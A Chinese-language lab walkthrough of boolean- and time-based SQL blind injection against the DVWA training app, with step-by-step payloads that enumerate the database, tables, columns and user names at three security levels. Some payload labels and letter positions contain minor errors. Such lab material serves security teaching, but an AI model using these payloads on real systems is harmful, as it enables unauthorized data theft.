SQL盲注的类型:
基于布尔值的盲注
基于时间的盲注
基于报错的盲注
SQL盲注的过程:
1、判断是否存在注入
2、猜解当前数据库名:长度和名称
3、猜解数据库中的表名:长度和名称,表的数量
4、猜解表中的字段名:长度和名称,字段数
5、猜解数据
一、low级别
正常回显
错误回显
1、判断是否有注入点
输入1 and 1=1,正常回显
输入1 and 1=2,正常回显
不属于数字型,采用字符型的引号闭合
输入1’ and ‘1’=‘1 正常回显
输入1’ and ‘1’='2 不正常回显
说明可能存在注入点,但是回显只有两种情况,存在和不存在,所以只能盲注
2、猜数据库名,长度
猜数据库长度
1’ and length(database())=4# 基于布尔
1’ and ascii(length(database()))=52# 4的ascii码为52 基于布尔 数据库的长度是否为4,是回显正常,否回显错误
1’ and sleep (if((length(database())=3),0,5))# 基于时间 数据库的长度是否为3,是则0秒返回,否则5秒反回
猜数据库名称 可以采用>huo<来判断
1’ and ascii(mid(database(),1,1))=100# d的asccii码为100 第一个数据库的第一个字母是否为d,是回显正常,否回显错误
1’ and sleep(if((mid(database(),1,1)=‘d’),0,5))# 第一个数据库的第一个字母是否为d,是则0秒返回,否则5秒反回
1’ and sleep(if((mid(database(),2,1)=‘v’),0,5))#
1’ and sleep(if((mid(database(),3,1)=‘w’),0,5))#
1’ and sleep(if((mid(database(),4,1)=‘a’),0,5))#
最终得出数据库名为dvwa
3、猜表的个数,名称,长度
猜个数 这两张表 guestbook users
1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2# 布尔
1’ and sleep(if((select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2,0,5))# 布尔
猜长度 guestbook=9 users=4
1’ and length(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9# 布尔
1’ and length(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5#
1’ and sleep(if(length(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9,0,5))# 时间
猜表名 以users为例
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=117# 第一个字母 //u
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),2))=115# 第二个字母//s
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),3))=101# 第三个字母//e
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),4))=114# 第四个字母 //r
1’ and ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),5))=115# 第五个字母//s
1’ and sleep(if(ascii(mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),5))=115,0,5))# 时间盲注
4、猜列的个数,名称,长度
以users表中为例
user_id first_name last_name user password avatar last_login failed_login 8列
猜个数
1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=8#
猜长度
1’ and length(mid((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7# 第一个列user_id
1’ and length(mid((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1))=10# 第二个列first_name
1’ and length(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=4# 第是四个列user
猜名称 以user为例
1’ and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=117# 第一个字母//u
1’ and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=115# 第二个字母//s
1’ and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=101# 第三个字母//e
1’ and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=114# 第四个字母//r
5、猜解数据
猜解user列中的数据 为例
admin gordonb 1337 pablo smithy 有5个数据
猜第一个数据
1’ and ascii(mid((select user from users limit 0,1),1))=97# 第一个字母//a
1’ and ascii(mid((select user from users limit 0,1),2))=100#第二个字母//d
1’ and ascii(mid((select user from users limit 0,1),3))=109# 第三个字母//m
1’ and ascii(mid((select user from users limit 0,1),4))=105# 第四个字母//i
1’ and ascii(mid((select user from users limit 0,1),5))=110# 第五个字母//n
二、medium级别
采用了选择提交方式,只能通过抓包来进行分析。
1、判断注入点
修改 1 and 1=1
回显正常
修改 1 and 1=2
回显不正常,可能存在数字型注入,但没有信息,只能通过盲注
2、通过抓包添加注入语句,注入语句和low级别的一样,但不用闭合引号。
三、high级别
1、判断注入
输入1返回正常
输入1 and 1=1正常
输入1 and 1=2正常
说明被过滤掉了,不是数字型,尝试采用引号闭合
输入1’ and ‘1’=‘1 正常
输入1’ and ‘1’='2不正常,说明可能存在注入点,但并没有数据爆出,所以可以盲注。